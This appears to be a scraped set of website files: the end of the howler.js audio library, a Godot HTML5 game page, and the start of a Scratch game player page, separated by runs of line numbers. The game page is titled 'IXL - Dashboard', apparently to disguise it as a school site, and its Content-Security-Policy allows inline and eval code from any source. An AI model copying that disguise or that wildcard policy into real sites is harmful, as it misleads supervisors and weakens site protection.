// Determine the values based on arguments. if (args.length === 0) { // We will simply return the current position of the first node. id = self._sounds[0]._id; } else if (args.length === 1) { // First check if this is an ID, and if not, assume it is a new seek position. var ids = self._getSoundIds(); var index = ids.indexOf(args[0]); if (index >= 0) { id = parseInt(args[0], 10); } else if (self._sounds.length) { id = self._sounds[0]._id; seek = parseFloat(args[0]); } } else if (args.length === 2) { seek = parseFloat(args[0]); id = parseInt(args[1], 10); }
// If there is no ID, bail out. if (typeof id === 'undefined') { return self; }
// If the sound hasn't loaded, add it to the load queue to seek when capable. if (typeof seek === 'number' && (self._state !== 'loaded' || self._playLock)) { self._queue.push({ event: 'seek', action: function() { self.seek.apply(self, args); } });
return self; }
// Get the sound. var sound = self._soundById(id);
if (sound) { if (typeof seek === 'number' && seek >= 0) { // Pause the sound and update position for restarting playback. var playing = self.playing(id); if (playing) { self.pause(id, true); }
// Move the position of the track and cancel timer. sound._seek = seek; sound._ended = false; self._clearTimer(id);
// Update the seek position for HTML5 Audio. if (!self._webAudio && sound._node && !isNaN(sound._node.duration)) { sound._node.currentTime = seek; }
// Seek and emit when ready. var seekAndEmit = function() { self._emit('seek', id);
// Restart the playback if the sound was playing. if (playing) { self.play(id, true); } };
// Wait for the play lock to be unset before emitting (HTML5 Audio). if (playing && !self._webAudio) { var emitSeek = function() { if (!self._playLock) { seekAndEmit(); } else { setTimeout(emitSeek, 0); } }; setTimeout(emitSeek, 0); } else { seekAndEmit(); } } else { if (self._webAudio) { var realTime = self.playing(id) ? Howler.ctx.currentTime - sound._playStart : 0; var rateSeek = sound._rateSeek ? sound._rateSeek - sound._seek : 0; return sound._seek + (rateSeek + realTime * Math.abs(sound._rate)); } else { return sound._node.currentTime; } } }
return self; },
/** * Check if a specific sound is currently playing or not (if id is provided), or check if at least one of the sounds in the group is playing or not. * @param {Number} id The sound id to check. If none is passed, the whole sound group is checked. * @return {Boolean} True if playing and false if not. */ playing: function(id) { var self = this;
// Check the passed sound ID (if any). if (typeof id === 'number') { var sound = self._soundById(id); return sound ? !sound._paused : false; }
// Otherwise, loop through all sounds and check if any are playing. for (var i=0; i<self._sounds.length; i++) { if (!self._sounds[i]._paused) { return true; } }
return false; },
/** * Get the duration of this sound. Passing a sound id will return the sprite duration. * @param {Number} id The sound id to check. If none is passed, return full source duration. * @return {Number} Audio duration in seconds. */ duration: function(id) { var self = this; var duration = self._duration;
// If we pass an ID, get the sound and return the sprite length. var sound = self._soundById(id); if (sound) { duration = self._sprite[sound._sprite][1] / 1000; }
return duration; },
/** * Returns the current loaded state of this Howl. * @return {String} 'unloaded', 'loading', 'loaded' */ state: function() { return this._state; },
/** * Unload and destroy the current Howl object. * This will immediately stop all sound instances attached to this group. */ unload: function() { var self = this;
// Stop playing any active sounds. var sounds = self._sounds; for (var i=0; i<sounds.length; i++) { // Stop the sound if it is currently playing. if (!sounds[i]._paused) { self.stop(sounds[i]._id); }
// Remove the source or disconnect. if (!self._webAudio) { // Set the source to 0-second silence to stop any downloading (except in IE). self._clearSound(sounds[i]._node);
// Remove any event listeners. sounds[i]._node.removeEventListener('error', sounds[i]._errorFn, false); sounds[i]._node.removeEventListener(Howler._canPlayEvent, sounds[i]._loadFn, false); sounds[i]._node.removeEventListener('ended', sounds[i]._endFn, false);
// Release the Audio object back to the pool. Howler._releaseHtml5Audio(sounds[i]._node); }
// Empty out all of the nodes. delete sounds[i]._node;
// Make sure all timers are cleared out. self._clearTimer(sounds[i]._id); }
// Remove the references in the global Howler object. var index = Howler._howls.indexOf(self); if (index >= 0) { Howler._howls.splice(index, 1); }
// Delete this sound from the cache (if no other Howl is using it). var remCache = true; for (i=0; i<Howler._howls.length; i++) { if (Howler._howls[i]._src === self._src || self._src.indexOf(Howler._howls[i]._src) >= 0) { remCache = false; break; } }
if (cache && remCache) { delete cache[self._src]; }
// Clear global errors. Howler.noAudio = false;
// Clear out `self`. self._state = 'unloaded'; self._sounds = []; self = null;
return null; },
/** * Listen to a custom event. * @param {String} event Event name. * @param {Function} fn Listener to call. * @param {Number} id (optional) Only listen to events for this sound. * @param {Number} once (INTERNAL) Marks event to fire only once. * @return {Howl} */ on: function(event, fn, id, once) { var self = this; var events = self['_on' + event];
if (typeof fn === 'function') { events.push(once ? {id: id, fn: fn, once: once} : {id: id, fn: fn}); }
return self; },
/** * Remove a custom event. Call without parameters to remove all events. * @param {String} event Event name. * @param {Function} fn Listener to remove. Leave empty to remove all. * @param {Number} id (optional) Only remove events for this sound. * @return {Howl} */ off: function(event, fn, id) { var self = this; var events = self['_on' + event]; var i = 0;
// Allow passing just an event and ID. if (typeof fn === 'number') { id = fn; fn = null; }
if (fn || id) { // Loop through event store and remove the passed function. for (i=0; i<events.length; i++) { var isId = (id === events[i].id); if (fn === events[i].fn && isId || !fn && isId) { events.splice(i, 1); break; } } } else if (event) { // Clear out all events of this type. self['_on' + event] = []; } else { // Clear out all events of every type. var keys = Object.keys(self); for (i=0; i<keys.length; i++) { if ((keys[i].indexOf('_on') === 0) && Array.isArray(self[keys[i]])) { self[keys[i]] = []; } } }
return self; },
/** * Listen to a custom event and remove it once fired. * @param {String} event Event name. * @param {Function} fn Listener to call. * @param {Number} id (optional) Only listen to events for this sound. * @return {Howl} */ once: function(event, fn, id) { var self = this;
// Setup the event listener. self.on(event, fn, id, 1);
return self; },
/** * Emit all events of a specific type and pass the sound id. * @param {String} event Event name. * @param {Number} id Sound ID. * @param {Number} msg Message to go with event. * @return {Howl} */ _emit: function(event, id, msg) { var self = this; var events = self['_on' + event];
// Loop through event store and fire all functions. for (var i=events.length-1; i>=0; i--) { // Only fire the listener if the correct ID is used. if (!events[i].id || events[i].id === id || event === 'load') { setTimeout(function(fn) { fn.call(this, id, msg); }.bind(self, events[i].fn), 0);
// If this event was setup with `once`, remove it. if (events[i].once) { self.off(event, events[i].fn, events[i].id); } } }
// Pass the event type into load queue so that it can continue stepping. self._loadQueue(event);
return self; },
/** * Queue of actions initiated before the sound has loaded. * These will be called in sequence, with the next only firing * after the previous has finished executing (even if async like play). * @return {Howl} */ _loadQueue: function(event) { var self = this;
if (self._queue.length > 0) { var task = self._queue[0];
// Remove this task if a matching event was passed. if (task.event === event) { self._queue.shift(); self._loadQueue(); }
// Run the task if no event type is passed. if (!event) { task.action(); } }
return self; },
/** * Fired when playback ends at the end of the duration. * @param {Sound} sound The sound object to work with. * @return {Howl} */ _ended: function(sound) { var self = this; var sprite = sound._sprite;
// If we are using IE and there was network latency we may be clipping // audio before it completes playing. Lets check the node to make sure it // believes it has completed, before ending the playback. if (!self._webAudio && sound._node && !sound._node.paused && !sound._node.ended && sound._node.currentTime < sound._stop) { setTimeout(self._ended.bind(self, sound), 100); return self; }
// Should this sound loop? var loop = !!(sound._loop || self._sprite[sprite][2]);
// Fire the ended event. self._emit('end', sound._id);
// Restart the playback for HTML5 Audio loop. if (!self._webAudio && loop) { self.stop(sound._id, true).play(sound._id); }
// Restart this timer if on a Web Audio loop. if (self._webAudio && loop) { self._emit('play', sound._id); sound._seek = sound._start || 0; sound._rateSeek = 0; sound._playStart = Howler.ctx.currentTime;
var timeout = ((sound._stop - sound._start) * 1000) / Math.abs(sound._rate); self._endTimers[sound._id] = setTimeout(self._ended.bind(self, sound), timeout); }
// Mark the node as paused. if (self._webAudio && !loop) { sound._paused = true; sound._ended = true; sound._seek = sound._start || 0; sound._rateSeek = 0; self._clearTimer(sound._id);
// Clean up the buffer source. self._cleanBuffer(sound._node);
// Attempt to auto-suspend AudioContext if no sounds are still playing. Howler._autoSuspend(); }
// When using a sprite, end the track. if (!self._webAudio && !loop) { self.stop(sound._id, true); }
return self; },
/** * Clear the end timer for a sound playback. * @param {Number} id The sound ID. * @return {Howl} */ _clearTimer: function(id) { var self = this;
if (self._endTimers[id]) { // Clear the timeout or remove the ended listener. if (typeof self._endTimers[id] !== 'function') { clearTimeout(self._endTimers[id]); } else { var sound = self._soundById(id); if (sound && sound._node) { sound._node.removeEventListener('ended', self._endTimers[id], false); } }
delete self._endTimers[id]; }
return self; },
/** * Return the sound identified by this ID, or return null. * @param {Number} id Sound ID * @return {Object} Sound object or null. */ _soundById: function(id) { var self = this;
// Loop through all sounds and find the one with this ID. for (var i=0; i<self._sounds.length; i++) { if (id === self._sounds[i]._id) { return self._sounds[i]; } }
return null; },
/** * Return an inactive sound from the pool or create a new one. * @return {Sound} Sound playback object. */ _inactiveSound: function() { var self = this;
self._drain();
// Find the first inactive node to recycle. for (var i=0; i<self._sounds.length; i++) { if (self._sounds[i]._ended) { return self._sounds[i].reset(); } }
// If no inactive node was found, create a new one. return new Sound(self); },
/** * Drain excess inactive sounds from the pool. */ _drain: function() { var self = this; var limit = self._pool; var cnt = 0; var i = 0;
// If there are less sounds than the max pool size, we are done. if (self._sounds.length < limit) { return; }
// Count the number of inactive sounds. for (i=0; i<self._sounds.length; i++) { if (self._sounds[i]._ended) { cnt++; } }
// Remove excess inactive sounds, going in reverse order. for (i=self._sounds.length - 1; i>=0; i--) { if (cnt <= limit) { return; }
if (self._sounds[i]._ended) { // Disconnect the audio source when using Web Audio. if (self._webAudio && self._sounds[i]._node) { self._sounds[i]._node.disconnect(0); }
// Remove sounds until we have the pool size. self._sounds.splice(i, 1); cnt--; } } },
/** * Get all ID's from the sounds pool. * @param {Number} id Only return one ID if one is passed. * @return {Array} Array of IDs. */ _getSoundIds: function(id) { var self = this;
if (typeof id === 'undefined') { var ids = []; for (var i=0; i<self._sounds.length; i++) { ids.push(self._sounds[i]._id); }
return ids; } else { return [id]; } },
/** * Load the sound back into the buffer source. * @param {Sound} sound The sound object to work with. * @return {Howl} */ _refreshBuffer: function(sound) { var self = this;
// Setup the buffer source for playback. sound._node.bufferSource = Howler.ctx.createBufferSource(); sound._node.bufferSource.buffer = cache[self._src];
// Connect to the correct node. if (sound._panner) { sound._node.bufferSource.connect(sound._panner); } else { sound._node.bufferSource.connect(sound._node); }
// Setup looping and playback rate. sound._node.bufferSource.loop = sound._loop; if (sound._loop) { sound._node.bufferSource.loopStart = sound._start || 0; sound._node.bufferSource.loopEnd = sound._stop || 0; } sound._node.bufferSource.playbackRate.setValueAtTime(sound._rate, Howler.ctx.currentTime);
return self; },
/** * Prevent memory leaks by cleaning up the buffer source after playback. * @param {Object} node Sound's audio node containing the buffer source. * @return {Howl} */ _cleanBuffer: function(node) { var self = this; var isIOS = Howler._navigator && Howler._navigator.vendor.indexOf('Apple') >= 0;
if (Howler._scratchBuffer && node.bufferSource) { node.bufferSource.onended = null; node.bufferSource.disconnect(0); if (isIOS) { try { node.bufferSource.buffer = Howler._scratchBuffer; } catch(e) {} } } node.bufferSource = null;
return self; },
/** * Set the source to a 0-second silence to stop any downloading (except in IE). * @param {Object} node Audio node to clear. */ _clearSound: function(node) { var checkIE = /MSIE |Trident\//.test(Howler._navigator && Howler._navigator.userAgent); if (!checkIE) { node.src = 'data:audio/wav;base64,UklGRigAAABXQVZFZm10IBIAAAABAAEARKwAAIhYAQACABAAAABkYXRhAgAAAAEA'; } } };
/** Single Sound Methods **/ /***************************************************************************/
/** * Setup the sound object, which each node attached to a Howl group is contained in. * @param {Object} howl The Howl parent group. */ var Sound = function(howl) { this._parent = howl; this.init(); }; Sound.prototype = { /** * Initialize a new Sound object. * @return {Sound} */ init: function() { var self = this; var parent = self._parent;
// Setup the default parameters. self._muted = parent._muted; self._loop = parent._loop; self._volume = parent._volume; self._rate = parent._rate; self._seek = 0; self._paused = true; self._ended = true; self._sprite = '__default';
// Generate a unique ID for this sound. self._id = ++Howler._counter;
// Add itself to the parent's pool. parent._sounds.push(self);
// Create the new node. self.create();
return self; },
/** * Create and setup a new sound object, whether HTML5 Audio or Web Audio. * @return {Sound} */ create: function() { var self = this; var parent = self._parent; var volume = (Howler._muted || self._muted || self._parent._muted) ? 0 : self._volume;
if (parent._webAudio) { // Create the gain node for controlling volume (the source will connect to this). self._node = (typeof Howler.ctx.createGain === 'undefined') ? Howler.ctx.createGainNode() : Howler.ctx.createGain(); self._node.gain.setValueAtTime(volume, Howler.ctx.currentTime); self._node.paused = true; self._node.connect(Howler.masterGain); } else if (!Howler.noAudio) { // Get an unlocked Audio object from the pool. self._node = Howler._obtainHtml5Audio();
// Listen for errors (http://dev.w3.org/html5/spec-author-view/spec.html#mediaerror). self._errorFn = self._errorListener.bind(self); self._node.addEventListener('error', self._errorFn, false);
// Listen for 'canplaythrough' event to let us know the sound is ready. self._loadFn = self._loadListener.bind(self); self._node.addEventListener(Howler._canPlayEvent, self._loadFn, false);
// Listen for the 'ended' event on the sound to account for edge-case where // a finite sound has a duration of Infinity. self._endFn = self._endListener.bind(self); self._node.addEventListener('ended', self._endFn, false);
// Setup the new audio node. self._node.src = parent._src; self._node.preload = parent._preload === true ? 'auto' : parent._preload; self._node.volume = volume * Howler.volume();
// Begin loading the source. self._node.load(); }
return self; },
/** * Reset the parameters of this sound to the original state (for recycle). * @return {Sound} */ reset: function() { var self = this; var parent = self._parent;
// Reset all of the parameters of this sound. self._muted = parent._muted; self._loop = parent._loop; self._volume = parent._volume; self._rate = parent._rate; self._seek = 0; self._rateSeek = 0; self._paused = true; self._ended = true; self._sprite = '__default';
// Generate a new ID so that it isn't confused with the previous sound. self._id = ++Howler._counter;
return self; },
/** * HTML5 Audio error listener callback. */ _errorListener: function() { var self = this;
// Fire an error event and pass back the code. self._parent._emit('loaderror', self._id, self._node.error ? self._node.error.code : 0);
// Clear the event listener. self._node.removeEventListener('error', self._errorFn, false); },
/** * HTML5 Audio canplaythrough listener callback. */ _loadListener: function() { var self = this; var parent = self._parent;
// Round up the duration to account for the lower precision in HTML5 Audio. parent._duration = Math.ceil(self._node.duration * 10) / 10;
// Setup a sprite if none is defined. if (Object.keys(parent._sprite).length === 0) { parent._sprite = {__default: [0, parent._duration * 1000]}; }
if (parent._state !== 'loaded') { parent._state = 'loaded'; parent._emit('load'); parent._loadQueue(); }
// Clear the event listener. self._node.removeEventListener(Howler._canPlayEvent, self._loadFn, false); },
/** * HTML5 Audio ended listener callback. */ _endListener: function() { var self = this; var parent = self._parent;
// Only handle the `ended`` event if the duration is Infinity. if (parent._duration === Infinity) { // Update the parent duration to match the real audio duration. // Round up the duration to account for the lower precision in HTML5 Audio. parent._duration = Math.ceil(self._node.duration * 10) / 10;
// Update the sprite that corresponds to the real duration. if (parent._sprite.__default[1] === Infinity) { parent._sprite.__default[1] = parent._duration * 1000; }
// Run the regular ended method. parent._ended(self); }
// Clear the event listener since the duration is now correct. self._node.removeEventListener('ended', self._endFn, false); } };
/** Helper Methods **/ /***************************************************************************/
var cache = {};
/** * Buffer a sound from URL, Data URI or cache and decode to audio source (Web Audio API). * @param {Howl} self */ var loadBuffer = function(self) { var url = self._src;
// Check if the buffer has already been cached and use it instead. if (cache[url]) { // Set the duration from the cache. self._duration = cache[url].duration;
// Load the sound into this Howl. loadSound(self);
return; }
if (/^data:[^;]+;base64,/.test(url)) { // Decode the base64 data URI without XHR, since some browsers don't support it. var data = atob(url.split(',')[1]); var dataView = new Uint8Array(data.length); for (var i=0; i<data.length; ++i) { dataView[i] = data.charCodeAt(i); }
decodeAudioData(dataView.buffer, self); } else { // Load the buffer from the URL. var xhr = new XMLHttpRequest(); xhr.open(self._xhr.method, url, true); xhr.withCredentials = self._xhr.withCredentials; xhr.responseType = 'arraybuffer';
// Apply any custom headers to the request. if (self._xhr.headers) { Object.keys(self._xhr.headers).forEach(function(key) { xhr.setRequestHeader(key, self._xhr.headers[key]); }); }
xhr.onload = function() { // Make sure we get a successful response back. var code = (xhr.status + '')[0]; if (code !== '0' && code !== '2' && code !== '3') { self._emit('loaderror', null, 'Failed loading audio file with status: ' + xhr.status + '.'); return; }
decodeAudioData(xhr.response, self); }; xhr.onerror = function() { // If there is an error, switch to HTML5 Audio. if (self._webAudio) { self._html5 = true; self._webAudio = false; self._sounds = []; delete cache[url]; self.load(); } }; safeXhrSend(xhr); } };
/** * Send the XHR request wrapped in a try/catch. * @param {Object} xhr XHR to send. */ var safeXhrSend = function(xhr) { try { xhr.send(); } catch (e) { xhr.onerror(); } };
/** * Decode audio data from an array buffer. * @param {ArrayBuffer} arraybuffer The audio data. * @param {Howl} self */ var decodeAudioData = function(arraybuffer, self) { // Fire a load error if something broke. var error = function() { self._emit('loaderror', null, 'Decoding audio data failed.'); };
// Load the sound on success. var success = function(buffer) { if (buffer && self._sounds.length > 0) { cache[self._src] = buffer; loadSound(self, buffer); } else { error(); } };
// Decode the buffer into an audio source. if (typeof Promise !== 'undefined' && Howler.ctx.decodeAudioData.length === 1) { Howler.ctx.decodeAudioData(arraybuffer).then(success).catch(error); } else { Howler.ctx.decodeAudioData(arraybuffer, success, error); } }
/** * Sound is now loaded, so finish setting everything up and fire the loaded event. * @param {Howl} self * @param {Object} buffer The decoded buffer sound source. */ var loadSound = function(self, buffer) { // Set the duration. if (buffer && !self._duration) { self._duration = buffer.duration; }
// Setup a sprite if none is defined. if (Object.keys(self._sprite).length === 0) { self._sprite = {__default: [0, self._duration * 1000]}; }
// Fire the loaded event. if (self._state !== 'loaded') { self._state = 'loaded'; self._emit('load'); self._loadQueue(); } };
/** * Setup the audio context when available, or switch to HTML5 Audio mode. */ var setupAudioContext = function() { // If we have already detected that Web Audio isn't supported, don't run this step again. if (!Howler.usingWebAudio) { return; }
// Check if we are using Web Audio and setup the AudioContext if we are. try { if (typeof AudioContext !== 'undefined') { Howler.ctx = new AudioContext(); } else if (typeof webkitAudioContext !== 'undefined') { Howler.ctx = new webkitAudioContext(); } else { Howler.usingWebAudio = false; } } catch(e) { Howler.usingWebAudio = false; }
// If the audio context creation still failed, set using web audio to false. if (!Howler.ctx) { Howler.usingWebAudio = false; }
// Check if a webview is being used on iOS8 or earlier (rather than the browser). // If it is, disable Web Audio as it causes crashing. var iOS = (/iP(hone|od|ad)/.test(Howler._navigator && Howler._navigator.platform)); var appVersion = Howler._navigator && Howler._navigator.appVersion.match(/OS (\d+)_(\d+)_?(\d+)?/); var version = appVersion ? parseInt(appVersion[1], 10) : null; if (iOS && version && version < 9) { var safari = /safari/.test(Howler._navigator && Howler._navigator.userAgent.toLowerCase()); if (Howler._navigator && !safari) { Howler.usingWebAudio = false; } }
// Create and expose the master GainNode when using Web Audio (useful for plugins or advanced usage). if (Howler.usingWebAudio) { Howler.masterGain = (typeof Howler.ctx.createGain === 'undefined') ? Howler.ctx.createGainNode() : Howler.ctx.createGain(); Howler.masterGain.gain.setValueAtTime(Howler._muted ? 0 : Howler._volume, Howler.ctx.currentTime); Howler.masterGain.connect(Howler.ctx.destination); }
// Re-run the setup on Howler. Howler._setup(); };
// Add support for AMD (Asynchronous Module Definition) libraries such as require.js. if (typeof define === 'function' && define.amd) { define([], function() { return { Howler: Howler, Howl: Howl }; }); }
// Add support for CommonJS libraries such as browserify. if (typeof exports !== 'undefined') { exports.Howler = Howler; exports.Howl = Howl; }
// Add to global in Node.js (for testing, etc). if (typeof global !== 'undefined') { global.HowlerGlobal = HowlerGlobal; global.Howler = Howler; global.Howl = Howl; global.Sound = Sound; } else if (typeof window !== 'undefined') { // Define globally in case AMD is not available or unused. window.HowlerGlobal = HowlerGlobal; window.Howler = Howler; window.Howl = Howl; window.Sound = Sound; }})();123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270<!DOCTYPE html>
<html lang="" xml:lang="" xmlns="http://www.w3.org/1999/xhtml"><head><meta charset="utf-8"/><meta content="width=device-width, user-scalable=no" name="viewport"/><link href="favicon.png" id="-gd-engine-icon" rel="icon" type="image/png"/><title>Locked</title><style type="text/css">
body { touch-action: none; margin: 0; border: 0 none; padding: 0; text-align: center; background-color: black; }
#canvas { display: block; margin: 0; color: white; }
#canvas:focus { outline: none; }
.godot { font-family: 'Noto Sans', 'Droid Sans', Arial, sans-serif; color: #e0e0e0; background-color: #3b3943; background-image: linear-gradient(to bottom, #403e48, #35333c); border: 1px solid #45434e; box-shadow: 0 0 1px 1px #2f2d35; }
/* Status display * ============== */
#status { position: absolute; left: 0; top: 0; right: 0; bottom: 0; display: flex; justify-content: center; align-items: center; /* don't consume click events - make children visible explicitly */ visibility: hidden; }
#status-progress { width: 366px; height: 7px; background-color: #38363A; border: 1px solid #444246; padding: 1px; box-shadow: 0 0 2px 1px #1B1C22; border-radius: 2px; visibility: visible; }
@media only screen and (orientation:portrait) { #status-progress { width: 61.8%; } }
#status-progress-inner { height: 100%; width: 0; box-sizing: border-box; transition: width 0.5s linear; background-color: #202020; border: 1px solid #222223; box-shadow: 0 0 1px 1px #27282E; border-radius: 3px; }
#status-indeterminate { visibility: visible; position: relative; }
#status-indeterminate > div { width: 4.5px; height: 0; border-style: solid; border-width: 9px 3px 0 3px; border-color: #2b2b2b transparent transparent transparent; transform-origin: center 21px; position: absolute; }
#status-indeterminate > div:nth-child(1) { transform: rotate( 22.5deg); } #status-indeterminate > div:nth-child(2) { transform: rotate( 67.5deg); } #status-indeterminate > div:nth-child(3) { transform: rotate(112.5deg); } #status-indeterminate > div:nth-child(4) { transform: rotate(157.5deg); } #status-indeterminate > div:nth-child(5) { transform: rotate(202.5deg); } #status-indeterminate > div:nth-child(6) { transform: rotate(247.5deg); } #status-indeterminate > div:nth-child(7) { transform: rotate(292.5deg); } #status-indeterminate > div:nth-child(8) { transform: rotate(337.5deg); }
#status-notice { margin: 0 100px; line-height: 1.3; visibility: visible; padding: 4px 6px; visibility: visible; } </style></head><body><canvas id="canvas"> HTML5 canvas appears to be unsupported in the current browser.<br/> Please try updating or use a different browser. </canvas><div id="status"><div id="status-progress" oncontextmenu="event.preventDefault();" style="display: none;"><div id="status-progress-inner"></div></div><div id="status-indeterminate" oncontextmenu="event.preventDefault();" style="display: none;"><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div></div><div class="godot" id="status-notice" style="display: none;"></div></div><script src="index.js" type="text/javascript"></script><script src="howler.core.js" type="text/javascript"></script><script type="text/javascript">//<![CDATA[
var engine = new Engine; var setStatusMode; var setStatusNotice;
var bgmusic = new Howl({src: ['George Street Shuffle.ogg'], loop: true}); bgmusic.play();
(function() {
const EXECUTABLE_NAME = 'index'; const MAIN_PACK = 'index.pck'; const INDETERMINATE_STATUS_STEP_MS = 100;
var canvas = document.getElementById('canvas'); var statusProgress = document.getElementById('status-progress'); var statusProgressInner = document.getElementById('status-progress-inner'); var statusIndeterminate = document.getElementById('status-indeterminate'); var statusNotice = document.getElementById('status-notice');
var initializing = true; var statusMode = 'hidden';
var animationCallbacks = []; function animate(time) { animationCallbacks.forEach(callback => callback(time)); requestAnimationFrame(animate); } requestAnimationFrame(animate);
function adjustCanvasDimensions() { var scale = window.devicePixelRatio || 1; var width = window.innerWidth; var height = window.innerHeight; canvas.width = width * scale; canvas.height = height * scale; canvas.style.width = width + "px"; canvas.style.height = height + "px"; } animationCallbacks.push(adjustCanvasDimensions); adjustCanvasDimensions();
setStatusMode = function setStatusMode(mode) {
if (statusMode === mode || !initializing) return; [statusProgress, statusIndeterminate, statusNotice].forEach(elem => { elem.style.display = 'none'; }); animationCallbacks = animationCallbacks.filter(function(value) { return (value != animateStatusIndeterminate); }); switch (mode) { case 'progress': statusProgress.style.display = 'block'; break; case 'indeterminate': statusIndeterminate.style.display = 'block'; animationCallbacks.push(animateStatusIndeterminate); break; case 'notice': statusNotice.style.display = 'block'; break; case 'hidden': break; default: throw new Error('Invalid status mode'); } statusMode = mode; }
function animateStatusIndeterminate(ms) {
var i = Math.floor(ms / INDETERMINATE_STATUS_STEP_MS % 8); if (statusIndeterminate.children[i].style.borderTopColor == '') { Array.prototype.slice.call(statusIndeterminate.children).forEach(child => { child.style.borderTopColor = ''; }); statusIndeterminate.children[i].style.borderTopColor = '#dfdfdf'; } }
setStatusNotice = function setStatusNotice(text) {
while (statusNotice.lastChild) { statusNotice.removeChild(statusNotice.lastChild); } var lines = text.split('\n'); lines.forEach((line) => { statusNotice.appendChild(document.createTextNode(line)); statusNotice.appendChild(document.createElement('br')); }); };
engine.setProgressFunc((current, total) => {
if (total > 0) { statusProgressInner.style.width = current/total * 100 + '%'; setStatusMode('progress'); if (current === total) { // wait for progress bar animation setTimeout(() => { setStatusMode('indeterminate'); }, 500); } } else { setStatusMode('indeterminate'); } });
function displayFailureNotice(err) { var msg = err.message || err; console.error(msg); setStatusNotice(msg); setStatusMode('notice'); initializing = false; };
if (!Engine.isWebGLAvailable()) { displayFailureNotice('WebGL not available'); } else { setStatusMode('indeterminate'); engine.setCanvas(canvas); engine.startGame(EXECUTABLE_NAME, MAIN_PACK).then(() => { setStatusMode('hidden'); initializing = false; }, displayFailureNotice); } })(); //]]></script></body></html>123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326<!DOCTYPE html>
<html><head>
<script src="/js/all.min.js"></script> <script src="../../escape-protection.js"></script>
<meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta http-equiv="Content-Security-Policy" content="default-src * 'self' 'unsafe-inline' 'unsafe-eval' data: blob:"> <title>IXL - Dashboard</title> <style> body { color: #ffffff; font-family: sans-serif; overflow: hidden; margin: 0; padding: 0; } :root, body.is-fullscreen { background-color: #000000; } [hidden] { display: none !important; } h1 { font-weight: normal; } a { color: inherit; text-decoration: underline; cursor: pointer; }
#app, #loading, #error, #launch { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .screen { display: flex; flex-direction: column; align-items: center; justify-content: center; text-align: center; cursor: default; user-select: none; -webkit-user-select: none; background-color: #000000; } #launch { background-color: rgba(0, 0, 0, 0.7); cursor: pointer; } .green-flag { width: 80px; height: 80px; padding: 16px; border-radius: 100%; background: rgba(255, 255, 255, 0.75); border: 3px solid hsla(0, 100%, 100%, 1); display: flex; justify-content: center; align-items: center; box-sizing: border-box; } #loading { } .progress-bar-outer { border: 1px solid currentColor; height: 10px; width: 200px; max-width: 200px; } .progress-bar-inner { height: 100%; width: 0; background-color: currentColor; } .loading-text, noscript { font-weight: normal; font-size: 36px; margin: 0 0 16px; } .loading-image { margin: 0 0 16px; } #error-message, #error-stack { font-family: monospace; max-width: 600px; white-space: pre-wrap; user-select: text; -webkit-user-select: text; } #error-stack { text-align: left; max-height: 200px; overflow: auto; } .control-button { width: 2rem; height: 2rem; padding: 0.375rem; border-radius: 0.25rem; margin-top: 0.5rem; margin-bottom: 0.5rem; user-select: none; -webkit-user-select: none; cursor: pointer; border: 0; border-radius: 4px; } .control-button:hover { background: #ff4c4c26; } .control-button.active { background: #ff4c4c59; } .fullscreen-button { background: white !important; } .standalone-fullscreen-button { position: absolute; top: 0; right: 0; background-color: rgba(0, 0, 0, 0.5); border-radius: 0 0 0 4px; padding: 4px; cursor: pointer; } .sc-canvas { cursor: auto; } .sc-monitor-root[opcode^="data_"] .sc-monitor-value-color { background-color: #ff8c1a; } .sc-monitor-row-value-outer { background-color: #fc662c; } .sc-monitor-row-value-editing .sc-monitor-row-value-outer { background-color: #e25b27; } </style> <meta name="theme-color" content="#000000"> </head><body>
<script src="/assets/js/notifications.js"></script><script src="/assets/js/game-save-sync.js"></script>
<div id="app"></div>
<div id="launch" class="screen" hidden title="Click to start"> <div class="green-flag"> <svg viewBox="0 0 16.63 17.5" width="42" height="44"> <defs><style>.cls-1,.cls-2{fill:#4cbf56;stroke:#45993d;stroke-linecap:round;stroke-linejoin:round;}.cls-2{stroke-width:1.5px;}</style></defs> <path class="cls-1" d="M.75,2A6.44,6.44,0,0,1,8.44,2h0a6.44,6.44,0,0,0,7.69,0V12.4a6.44,6.44,0,0,1-7.69,0h0a6.44,6.44,0,0,0-7.69,0"/> <line class="cls-2" x1="0.75" y1="16.75" x2="0.75" y2="0.75"/> </svg> </div> </div>
<div id="loading" class="screen"> <noscript>Enable JavaScript</noscript> <div class="progress-bar-outer"><div class="progress-bar-inner" id="loading-inner"></div></div> </div>
<div id="error" class="screen" hidden> <h1>Error</h1> <details> <summary id="error-message"></summary> <p id="error-stack"></p> </details> </div>
<script src="script.js"></script> <script> const appElement = document.getElementById('app'); const launchScreen = document.getElementById('launch'); const loadingScreen = document.getElementById('loading'); const loadingInner = document.getElementById('loading-inner'); const errorScreen = document.getElementById('error'); const errorScreenMessage = document.getElementById('error-message'); const errorScreenStack = document.getElementById('error-stack');
const handleError = (error) => { console.error(error); if (!errorScreen.hidden) return; errorScreen.hidden = false; errorScreenMessage.textContent = '' + error; let debug = error && error.stack || 'no stack'; debug += '\nUser agent: ' + navigator.userAgent; errorScreenStack.textContent = debug; }; const setProgress = (progress) => { if (loadingInner) loadingInner.style.width = progress * 100 + '%'; }; const interpolate = (a, b, t) => a + t * (b - a);
try { setProgress(0.1);
